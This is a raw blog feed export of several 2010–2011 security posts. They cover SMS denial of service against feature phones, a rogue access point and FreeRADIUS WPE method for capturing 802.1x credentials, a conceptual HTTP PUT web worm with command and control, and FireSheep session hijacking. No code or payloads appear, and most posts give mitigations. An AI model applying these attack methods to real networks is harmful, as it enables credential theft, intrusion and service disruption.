&lt;li&gt;&lt;a href="http://www.dd-wrt.com/site/index"&gt;&lt;b&gt;DD-WRT:&lt;/b&gt;&lt;/a&gt; DD-WRT enhances the capability of many home wireless routers by replacing their firmware with a more powerful Linux-derived OS. Added features include RADIUS/802.1x/EAP support, virtual wireless interfaces (multiple SSIDs), and much more.&lt;/li&gt;
&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-5149878053009656941?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/1w2I0WdebGc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/5149878053009656941/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2011/01/10-security-tools-you-may-not-know.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/5149878053009656941?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/5149878053009656941?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/1w2I0WdebGc/10-security-tools-you-may-not-know.html" title="10 Security Tools You May Not Know About" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2011/01/10-security-tools-you-may-not-know.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkUNQ3c5eSp7ImA9WhZVEE0.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-7080322167240866362</id><published>2011-01-06T13:33:00.000-08:00</published><updated>2011-05-21T11:58:12.921-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-21T11:58:12.921-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="text messaging" /><title>SMS (Short Message Severance)</title><content type="html">&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Collin Mulliner and Nico Golde gave a very interesting SMS DOS presentation at the &lt;a href="http://events.ccc.de/congress/2010/Fahrplan/events/4060.en.html"&gt;27th Choas Communication Congress&lt;/a&gt;. The just of it is that "feature phones," cheaper, less-feature-rich phones sold by providers, as opposed to "smart phones" can accept and execute certain binary code from incoming SMS text messages. Networks often use this functionality to roll out configuration changes to their subscribers. By properly crafting the right message based on the phone manufacturer, these phones can be made to disconnect from their respective wireless network.&lt;/td&gt;&lt;td&gt;&lt;br /&gt;
&lt;/td&gt;&lt;td&gt;&lt;br /&gt;
&lt;/td&gt;     &lt;/tr&gt;
&lt;tr&gt;       &lt;td&gt;What's interesting is that of the 5-6 billion estimated world-wide mobile phone users, around 16% use "smart phones." That leaves a good portion of those phones, world-wide, that are likely vulnerable to this type of attack. The presenters looked up various mobile feature phone manufactures based on their market-share per global region. They then took the top 5 manufactures by market-share and bought test phones cheaply on eBay. By creating attack vector's for each manufacturer, they ensured that a quick burst of 5 SMS messages had a high likelihood of success against a given mobile phone number. While DOS is not the biggest threat facing most organizations, depending on context of course, this certainly has the possibility of disrupting communications for organizations that utilize vulnerable feature phones to any significant extent.&lt;br /&gt;
&lt;br /&gt;
There are a &lt;a href="https://encrypted.google.com/search?q=send+sms+message&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:en-US:official&amp;amp;client=firefox-a"&gt;multitude of websites&lt;/a&gt; that allow anonymous internet users to send SMS messages to any phone number. What input validation and other security controls are in place, I do not know. Organizations also often get blocks of mobile phone numbers or even just a set of numbers with the same area code and prefix, which means if an attacker knows one number they have a high probability of easily guessing other valid mobile numbers for that same organization.&lt;br /&gt;
&lt;br /&gt;
Reflecting from the recent attacks by WikiLeaks supporters against organizations that were alleged to have shunned or otherwise harmed WikiLeaks, this got me thinking. Tools such as Low Orbit Ion Cannon were set up with predetermined targets on sites around the world so that unskilled WikiLeaks supporters could contribute to DDOS attacks with a single click. It would be pretty easy to do the same thing but target mobile feature phones using widely available downloadable executables, simple off-site form submissions, integrating it into botnets, smart phone applications, or even using browser technologies like Java Applets, SilverLight, or Flash. &lt;br /&gt;
&lt;br /&gt;
See the presentation &lt;a href="ftp://mirror.fem-net.de/CCC/27C3/mp4-h264-HQ/27c3-4060-en-attacking_mobile_phones.mp4"&gt;here&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/td&gt;&lt;td&gt;&lt;br /&gt;
&lt;/td&gt;       &lt;td&gt;&lt;br /&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-7080322167240866362?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/JRXoS-DUGjg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/7080322167240866362/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2011/01/sms-short-message-severance.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/7080322167240866362?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/7080322167240866362?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/JRXoS-DUGjg/sms-short-message-severance.html" title="SMS (Short Message Severance)" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2011/01/sms-short-message-severance.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0QDSX4_fip7ImA9WhZWGUw.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-6243403755971393853</id><published>2010-11-19T14:00:00.000-08:00</published><updated>2011-05-20T11:16:18.046-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-20T11:16:18.046-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="wireless security" /><category scheme="http://www.blogger.com/atom/ns#" term="802.1x" /><category scheme="http://www.blogger.com/atom/ns#" term="eap" /><category scheme="http://www.blogger.com/atom/ns#" term="peap" /><title>When 802.1x/PEAP/EAP-TTLS is Worse Than No Wireless Security</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_ymoqVdUkL6A/TObkTnH8KlI/AAAAAAAAAKM/rXCroAZW0HM/s1600/mschap_crack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;/a&gt;&lt;/div&gt;What? How can you possibly defend the statement that 802.1x with PEAP or EAP-TTLS can be worse than open wireless with no authentication or encryption? Remember the old &lt;a href="http://www.cisco.com/en/US/tech/tk722/tk809/technologies_security_notice09186a00801aa80f.html"&gt;Cisco LEAP&lt;/a&gt; implementation that was vulnerable to offline brute-force attacks due to sending users' MS CHAP v2 challenge/response outside of a secure connection? &lt;a href="http://www.willhackforsushi.com/?page_id=87"&gt;Joshua Wright&lt;/a&gt; has documented this in detail and even wrote a very popular tool, &lt;a href="http://www.willhackforsushi.com/Asleap.html"&gt;ASLEAP&lt;/a&gt; to exploit the issue. ASLEAP captures MS CHAP v2 challenge/response pairs and/or can be used to crack users' passwords via dictionary attacks or even brute-force when combined with tools like John The Ripper (JTR).&lt;br /&gt;
&lt;br /&gt;
A wireless network that is open with no authentication or encryption provides an attacker one thing: Network access. It's up to the attacker to then use that network access to do what he or she wants to do. That's bad enough but a network running LEAP without a sufficiently complex and uniformly enforced password complexity policy nets an attacker two things:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Network access &lt;i&gt;plus&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;The exploited user(s) credentials, usually Active Directory&lt;/li&gt;
&lt;/ul&gt;So enough about LEAP; the world moved past LEAP and on to other EAP variants such as PEAP, EAP-TTLS, and EAP-TLS that "protect" inner EAP authentication within SSL/TLS sessions. Yay, SSL saves the day. Sure, SSL provides encryption, but what's encryption worth if you're actually connected to an attacker and not your legitimate destination? That's why SSL uses trust chains and relationships to provide &lt;i&gt;authentication&lt;/i&gt;. SSL supports user to server authentication with client certificates but that's not what I'm talking about. I'm talking about server to client authentication, which is to say, "I am indeed the server you intend to connect to and here's the certificate to prove it."&lt;br /&gt;
&lt;br /&gt;
Your machine has a certificate store with certificates from trusted certificate authorities, most public, some possibly internal or intermediate. Applications that use SSL can be configured to trust all or certain authorities in the store. Properly configured at both the client and server levels, 802.1x with PEAP or EAP-TTLS is solid. Improperly configured, 802.1x using PEAP or EAP-TTLS can give an attacker internal access to your network from outside your building along with user credentials to actually login to internal network resources.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Here's how:&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;An attacker sets up a fake (well, real to the attacker) RADIUS instance. In this case, &lt;a href="http://www.willhackforsushi.com/FreeRADIUS_WPE.html"&gt;FreeRADIUS - Wireless Pwnage Edition&lt;/a&gt; is used, which is totally embarrassing to say so I'll say use FreeRADIUS WPE from now on. FreeRADIUS WPE is a patch for FreeRADIUS that configures it to automatically allow authenticators (APs) from all private address ranges, automatically accept any EAP-type, automatically accept any user credentials, and automatically log MS CHAP v2 challenges and responses.&lt;/li&gt;
&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_ymoqVdUkL6A/TObibtn3SpI/AAAAAAAAAJ0/NjAokPmmrN0/s1600/radius_running.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="436" src="http://4.bp.blogspot.com/_ymoqVdUkL6A/TObibtn3SpI/AAAAAAAAAJ0/NjAokPmmrN0/s640/radius_running.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;The attacker sets up a fake AP that supports 802.1x authentication and points it to the fake RADIUS server. The attacker can impersonate a target SSID or look for SSID probes with monitoring tools like airodump-ng, kismet, kismac, netstumbler, and etc to target suspected 802.1x SSIDs. The attacker can spoof the legitimate APs MAC address if they'd like or not.&lt;/li&gt;
&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_ymoqVdUkL6A/TObjmACN0gI/AAAAAAAAAJ4/C_5bKvAcVZs/s1600/ddwrt_ssid.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="388" src="http://2.bp.blogspot.com/_ymoqVdUkL6A/TObjmACN0gI/AAAAAAAAAJ4/C_5bKvAcVZs/s640/ddwrt_ssid.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_ymoqVdUkL6A/TObj4BWO1hI/AAAAAAAAAKI/24CCtRvQgCU/s1600/ddwrt_mac_spoof.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="http://3.bp.blogspot.com/_ymoqVdUkL6A/TObj4BWO1hI/AAAAAAAAAKI/24CCtRvQgCU/s640/ddwrt_mac_spoof.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;The attacker sets up in a location near users of the wireless network and waits for clients to authenticate to the fake AP and RADIUS server.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_ymoqVdUkL6A/TObjs0tFbhI/AAAAAAAAAKE/z7XSuXBZNJU/s1600/radius_logging.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="510" src="http://4.bp.blogspot.com/_ymoqVdUkL6A/TObjs0tFbhI/AAAAAAAAAKE/z7XSuXBZNJU/s640/radius_logging.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;The attacker obtains user names and MSCHAPv2 challenge/response pairs.&lt;/li&gt;
&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_ymoqVdUkL6A/TObjr1D8auI/AAAAAAAAAKA/MifELmgyD4g/s1600/mschap_log.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="218" src="http://3.bp.blogspot.com/_ymoqVdUkL6A/TObjr1D8auI/AAAAAAAAAKA/MifELmgyD4g/s640/mschap_log.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_ymoqVdUkL6A/TObjrLoWWeI/AAAAAAAAAJ8/jlsSBNaOtrk/s1600/mschap_crack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt; &lt;/a&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;The attacker cracks the victim users' passwords using a variety of methods.&lt;/li&gt;
&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_ymoqVdUkL6A/TOblowWgJCI/AAAAAAAAAKQ/iw4NNKvtDCM/s1600/mschap_crack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="222" src="http://3.bp.blogspot.com/_ymoqVdUkL6A/TOblowWgJCI/AAAAAAAAAKQ/iw4NNKvtDCM/s640/mschap_crack.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;The attacker now has not only internal, remote network access but likely has Active Directory credentials from some user. These may work on external websites, remote access VPNs, OWA, internal file shares, etc. &lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;ul&gt;&lt;/ul&gt;&lt;ol&gt;&lt;/ol&gt;&amp;nbsp;&lt;b&gt;Here's why: &lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Self-signed SSL certificates that are not trusted by wireless clients are often installed on RADIUS servers in 802.1x environments. Wireless clients are then forced to trust any certificate presented to them.&lt;/li&gt;
&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;802.1x supplicants (wireless clients) are often configured to not validate RADIUS server certificates.&lt;/li&gt;
&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_ymoqVdUkL6A/TObo23SEoaI/AAAAAAAAAKU/e8IjNxtVU64/s1600/validate_cert.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://4.bp.blogspot.com/_ymoqVdUkL6A/TObo23SEoaI/AAAAAAAAAKU/e8IjNxtVU64/s640/validate_cert.png" width="448" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;802.1x supplicants are often configured to trust public CAs from which an attacker can obtain a fake certificate.&lt;/li&gt;
&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_ymoqVdUkL6A/TObo-HcKj6I/AAAAAAAAAKY/yRGJMk5v_DY/s1600/public_ca_trust.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://1.bp.blogspot.com/_ymoqVdUkL6A/TObo-HcKj6I/AAAAAAAAAKY/yRGJMk5v_DY/s640/public_ca_trust.png" width="448" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;802.1x supplicants often prompt the user as to whether a RADIUS certificate is trustworthy. Leaving it up to the user is never a winning bet.&lt;/li&gt;
&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_ymoqVdUkL6A/TObpR8j7kcI/AAAAAAAAAKc/WrByS9Ie_YQ/s1600/don%2527t_prompt.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://2.bp.blogspot.com/_ymoqVdUkL6A/TObpR8j7kcI/AAAAAAAAAKc/WrByS9Ie_YQ/s640/don%2527t_prompt.png" width="448" /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp;&lt;b&gt;What to do?&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;If you're ok with and understanding of the overhead of managing client certificates, implement EAP-TLS as it is not vulnerable to these types of attacks.&lt;/li&gt;
&lt;li&gt;Install a certificate signed by an internal CA that is trusted by all wireless users on the RADIUS server.&lt;/li&gt;
&lt;li&gt;Avoid using RADIUS certificates signed by public CAs. &lt;/li&gt;
&lt;li&gt;Enforce validation of RADIUS certificates and manually select the internal CA to be trusted. Do this centrally, via tools like Active Directory Wireless Group Policies if possible. Ensure help-desk personnel and users are not capable of modifying this configuration since it has a way of becoming disabled when people are troubleshooting wireless issues.&lt;/li&gt;
&lt;li&gt;As always, ensure that a strong password complexity policy is uniformly applied to all users, with no exceptions.&lt;/li&gt;
&lt;/ul&gt;&lt;ol&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-6243403755971393853?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/dYVJdZHqv8Q" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/6243403755971393853/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2010/11/when-8021xpeapeap-ttls-is-worse-than-no.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/6243403755971393853?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/6243403755971393853?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/dYVJdZHqv8Q/when-8021xpeapeap-ttls-is-worse-than-no.html" title="When 802.1x/PEAP/EAP-TTLS is Worse Than No Wireless Security" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_ymoqVdUkL6A/TObibtn3SpI/AAAAAAAAAJ0/NjAokPmmrN0/s72-c/radius_running.png" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2010/11/when-8021xpeapeap-ttls-is-worse-than-no.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0MESXYyfCp7ImA9WhZWGUw.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-4525351837587971437</id><published>2010-10-29T17:25:00.000-07:00</published><updated>2011-05-20T11:16:48.894-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-20T11:16:48.894-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="http methods" /><category scheme="http://www.blogger.com/atom/ns#" term="web application security" /><title>HTTP PUT Worm Concept</title><content type="html">As a web application security assessor, I've seen my fair share of "owned" web servers. The vector and severity of these attacks vary from complete ownage via remote code execution to client ownage via SQL injection of malware content on many pages to simple hacker guest-book entries via low-hanging fruit like HTTP PUT enabled or FTP anonymous write access to the web servers' roots.&lt;br /&gt;
&lt;br /&gt;
We've all heard of the infamous (and relatively harmless) Samy worm on Facebook which spread via stored cross-site scripting, the injection of malicious HTML and JavaScript that is stored and executed in every users' browser viewing the infected page. We've all heard of more complex worms that utilize remote code execution vulnerabilities, often those that have been disclosed and patched for years. But seeing backdoor ASPX or PHP pages added to a webroot via simple HTTP PUT or anonymous WebDAV method PUT (pre-IIS7) vectors made me think of an entirely different type of potential "web worm." During blackbox testing, these are often unlinked files, the existence of which is only discernible via web root dictionary-style attacks, effectively guessing the malicious file name. That is unless you have the luck of directory indexing being enabled to identify the often oddly named backdoor file.&lt;br /&gt;
&lt;br /&gt;
I'll lay out some premises before discussing the concept I envision:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;It's very easy / common to scan a given network for instances of web servers. This is even possible for web servers running on non-standard (8080, 8088, 8443) ports given that HTTP is an easily identifiable ASCII-based protocol.&lt;/li&gt;
&lt;li&gt;It's very easy to ascertain the availability of anonymous PUT or WEBDAV methods by analyzing the HTTP response to requests using those methods.&lt;/li&gt;
&lt;li&gt;Putting the prior two concepts together, it should be relatively easy on a large enough network to find several web servers that have anonymous PUT enabled. On a /16 public network these chances are huge, on a /24 internal network, these chances are reduced by some order(s) of magnitude.&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;Even if PUT is enabled but requires authentication, there are some username/password combinations that could be attempted with a certain, relatively low but not insignificant likelihood of success.&lt;/li&gt;
&lt;li&gt;You can PUT a file on a web server that can have devastating effects on security as long as it is compatible with the application server(s) running. For instance, PHP servers could be affected by .PHP backdoors, classic ASP could be affected by .ASP backdoors, ASP.NET could be affected by .ASPX backdoors, Java could be affected by .JSP backdoors. By &lt;span style="font-style: italic;"&gt;affect&lt;/span&gt;, I mean, remote access to the filesystem, database connection strings, command execution, etc.&lt;/li&gt;
&lt;li&gt;These backdoor files can easily issue their own web requests using each application server's HTTP Request/Response APIs to reinfect other internal or external hosts.&lt;br /&gt;
&lt;/li&gt;
&lt;/ol&gt;With these things in mind, lets envision a web worm / backdoor / botnet hybrid with three primary components:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;A &lt;span style="font-weight: bold;"&gt;spreader&lt;/span&gt; that executes on any given machine that is not a web server, that starts scanning for web servers with either anonymous PUT enabled or weakly authenticated PUT enabled. It then decides which application server(s) is/are installed by fingerprinting them, and thus the &lt;span style="font-weight: bold;"&gt;backdoor/worm&lt;/span&gt; payload out of an array of payloads to PUT on the vulnerable web servers. If successful with the PUT, it then invokes the &lt;span style="font-weight: bold;"&gt;backdoor/worm&lt;/span&gt; by simply requesting it, triggering an onload method or something like that to start the infected web server's nastiness.&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;A &lt;span style="font-weight: bold;"&gt;backdoor/worm&lt;/span&gt; that gets PUT to a vulnerable web server, enables remote access, but also can be made to act as a spreader, scanning for other (external OR &lt;span style="font-weight: bold;"&gt;internal&lt;/span&gt;) web servers with similarly vulnerable PUT options. This also writes a reference to the &lt;span style="font-weight: bold;"&gt;spreader&lt;/span&gt; on other pages within the web root to "spread the &lt;span style="font-weight: bold;"&gt;spreader&lt;/span&gt; to web users" so to speak.&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;A &lt;span style="font-weight: bold;"&gt;command/control&lt;/span&gt; web application that could either request (might as well since inbound HTTP is obviously enabled on the infected &lt;span style="font-weight: bold;"&gt;public &lt;/span&gt;web servers) or get polled for commands (outbound HTTP is almost universally allowed even though it's an obvious best practice to prevent it in DMZs) from &lt;span style="font-weight: bold;"&gt;internal&lt;/span&gt; web servers and infected &lt;span style="font-weight: bold;"&gt;spreaders&lt;/span&gt;. This application could collect a given set of sensitive information from each &lt;span style="font-weight: bold;"&gt;backdoor/worm&lt;/span&gt; or &lt;span style="font-weight: bold;"&gt;spreader&lt;/span&gt; in addition to assigning internal or external network segments to scan and subsequently infect.&lt;/li&gt;
&lt;/ol&gt;The result could be very devastating to the Internet. You're not going to find anonymous PUT enabled on many heavily-used or popular websites, but there are plenty of web instances out there with this vulnerability. Web server uplink bandwidth is considerably higher on average than your typical bot-infected windows XP SP1 machine, which makes DDOS attacks an obvious possibility, and makes backdoored web servers perform better at infecting other external hosts than even the spreader.&lt;br /&gt;
&lt;br /&gt;
The worm vector is simple, really simple, with success/failure easily determined. The web portion could be dangerous in one platform (.NET) or even more if it's designed for many platforms (.CFM, .NET, .ASP, .JSP, .PHP, .CGI, .PL, .DO, and etc). The spreader is no different as the threat increases proportionally as supported operating systems increase. This worm would be simple to stop, just disable anonymous PUT at the web server or even IPS, or require more secure PUT credentials, but how far would it get before people caught on? It seems so simple so why is it not out there?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-4525351837587971437?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/riBes3QQbpE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/4525351837587971437/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2010/10/http-put-worm-concept.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/4525351837587971437?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/4525351837587971437?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/riBes3QQbpE/http-put-worm-concept.html" title="HTTP PUT Worm Concept" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2010/10/http-put-worm-concept.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0MHRHg_fip7ImA9WhZWGUw.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-8737344088992709467</id><published>2010-10-27T13:54:00.000-07:00</published><updated>2011-05-20T11:17:15.646-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-20T11:17:15.646-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="firefox" /><category scheme="http://www.blogger.com/atom/ns#" term="session hijacking" /><category scheme="http://www.blogger.com/atom/ns#" term="ssl" /><category scheme="http://www.blogger.com/atom/ns#" term="web application security" /><title>FireSheep FF Extension Makes for Easy Session Hijacking</title><content type="html">&lt;a href="http://codebutler.com/firesheep"&gt;FireSheep&lt;/a&gt; is a Firefox browser extension written by Eric Butler and released at Toorcon 12. It allows anyone to hijack users' sessions from a large list of popular sites including &lt;a href="http://github.com/codebutler/firesheep/wiki/Handlers"&gt;FaceBook, Google, and Salesforce&lt;/a&gt;. It does so by sniffing session cookies from cleartext (non-HTTPS) web connections to the target sites. It currently operates on shared-medium networks like wireless and Ethernet hubs but a little ARP-poisoning would probably make it work on  most switched LANs.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i.telegraph.co.uk/telegraph/multimedia/archive/01746/Firesheep_1746222c.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="396" src="http://i.telegraph.co.uk/telegraph/multimedia/archive/01746/Firesheep_1746222c.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;Web application security best practices mandate the use of SSL for the transfer of any sensitive information and this includes session cookies. The problem is that many popular sites allow cleartext HTTP connections in addition to HTTPS connections. All it takes is one cleartext HTTP request containing a user's session cookie to impersonate that user on a site.&lt;br /&gt;
&lt;br /&gt;
There have been a lot of suggestions about how to prevent one's sessions from being stolen via FireSheep or other tools that use the same attack method. &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/12714/"&gt;ForceTLS&lt;/a&gt; is a Firefox extension that allows users to configure which domains they want to automatically enforce SSL connections to. Good luck to all of you IE users on that one.&lt;br /&gt;
&lt;br /&gt;
I'm surprised that there haven't been more conversations about how to secure web applications to protect&amp;nbsp; users from these attacks... you know... so they don't have to protect themselves. Here are a list of suggestions that web developers should follow in order to accomplish this:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;If possible, only support HTTPS and make users explicitly enter https://a.b.c to access the site.&lt;/li&gt;
&lt;li&gt;The last suggestion isn't possible due to business requirements in a lot of applications. Cleartext requests should be redirected to secure connections in this case.&lt;/li&gt;
&lt;li&gt;Developers should ensure that sensitive cookies have their paths and domains configured such that they are only sent to URLs where session cookies are needed. For instance: Set a path of "/auth/" rather than "/" so that cookies are only sent with requests to "/auth/whatever" and not to "/javascripts/script.js."&lt;/li&gt;
